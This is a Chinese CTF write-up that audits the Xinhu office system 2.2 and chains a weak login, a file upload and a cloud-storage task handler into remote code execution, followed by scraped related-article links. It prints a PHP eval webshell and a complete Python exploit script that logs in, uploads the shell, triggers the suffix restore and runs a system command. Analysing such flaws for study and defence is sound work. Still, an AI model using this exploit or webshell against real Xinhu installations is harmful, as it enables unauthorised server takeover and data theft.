写在前面

本次强网杯决赛的一个题，还是蛮有意思的，代码可以在github拿到
https://github.com/rainrocka/xinhu

漏洞分析

首先这个系统存在弱口令，在题目给的sql文件当中通过在线md5破解得到test/abc123

接下来就是随便找一个地方进行文件上传

我们抓包看看对这个php文件进行了什么处理，其调用了webmain/task/api/uploadAction.php下uploadClassAction类的upfileAction函数

引入插件，实例化upfileChajian类

跳过不需太过于关注的部分，我们跟踪up函数

看看issavefile

是一个白名单很明显php后缀不符合

跳过不相干一堆函数

可以很明显的发现这类白名单外的文件会被改后缀为uptemp

内容为原来内容的base64编码结果，猜测估计是为了防止文件包含，不过都到这里了确实有点小单纯
接下来就是最关键的地方，在webmain\task\runt\qcloudCosAction.php腾讯云存储下的qcloudCosClassAction的run方法,根据id从数据库取出数据，接下来看图

一方面恢复了php后缀，另一方面内容也通过base64还原了
运行下下面的脚本可以看见成功执行whoami

脚本

1.php

<?php eval($_GET["1"]);?>

exp.py

import requestssession = requests.session()url_pre = 'http://url/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'data1 = {'rempass': '0','jmpass': 'false','device': '1625884034525','ltype': '0','adminuser': 'dGVzdA::','adminpass': 'YWJjMTIz','yanzm': ''
}r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('whoami');")
print(r.text)

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE相关推荐

信呼协同办公系统在线办公管理系
介绍: 一套免费开源的协同办公系统,为各大中小企业通用型在线办公管理系统,精简,便捷方便使用的管理软件网盘下载地址: http://kekewl.org/WSKwOw4DaSa0 图片:
php开源协同办公系统-信呼,信呼协同办公系统全开源v1.6.7版
----------------------安装前使用------------------------------ php环境要求:请配置好自己的php+mysql环境,使用(mysql5.3+),开 ...
【工具】更新云文档办公利器汇总，腾讯新增批量上传多文件上传，云文档对比测试报告...
昨天腾讯文档增加了新功能:一键批量文件导入,即一次操作将多个文件导入到腾讯文档.简单测试了一下,非常好用.腾讯文档要往云存储方向发展?小伙伴们又多了一个云备份地方,好评! 上次的大文件上传测试在论坛 ...
基于Springboot外卖系统13：实现文件上传下载模块
1. 上传功能模块 1.1 上传概述文件上传,也称为upload,是指将本地图片.视频.音频等文件上传到服务器上,可以供其他用户浏览或下载的过程. 文件上传时,对页面的form表单有如下要求: 表单 ...
【基于SSH框架的个人博客系统06】头像文件上传与前后端分页机制
注意:本项目为博主初学Web开发时所写,所使用的方法都比较笨,不符合主流开发方法.例如,包管理应该使用Maven进行管理而不是手动导入,对前端后端代码的架构也并不是很清晰.大家学习思想即可,可以不用浪 ...
【工具】更新云文档办公利器汇总，腾讯文档测试文件上传，云文档对比测试报告...
昨天在论坛里看到有大神分享"书籍索引目录.xlsx",据说是某宝买的资源,里边是约5T电子书资源的网盘书籍引目录,这个excel表格文档大小6M左右,我想分享给大家,然后便有了今天 ...
php 文件上传系统,php需登录文件上传管理系统
代码如下 $admin_pw="admin";//管理密码 $uploaddir="upload";//上传目录 session_start(); if($_G ...
如何用NAS打造私有协同办公系统？
对于人数不多的小型初创企业.工作室.SOHO人群来说,能够拥有自有的协同办公系统无疑是提高工作效率的好方法,同时将文件放在自己的服务器中,显然会更加安心,不用担心重要内容的泄露问题. 因此,大家有没有 ...
服务器与虚拟机进行双机热备,基于虚拟机的双机热备高可靠协同办公系统
摘要随着高校信息化的不断推进,各高校纷纷建立起协同办公系统,推行无纸化.网络化办公.协同办公系统一旦出现故障,将对学校的正常办公造成严重的影响.本文针对虚拟化环境下协同办公系统的高可靠运行问题,介 ...
云信小课堂丨简单四步，快速搭建协同办公系统！
Vol. 8 企业作为社会分工参与的主体,在自身发展以及内部协作中,势必会涉及到各类自有技术和商业信息的互动与交流,而这类信息由于有着高度的保密性和隐私性,所以如微信.QQ 等通用的即时通讯工具很难满 ...

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE

文章目录

写在前面

漏洞分析

脚本

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE相关推荐

最新文章

热门文章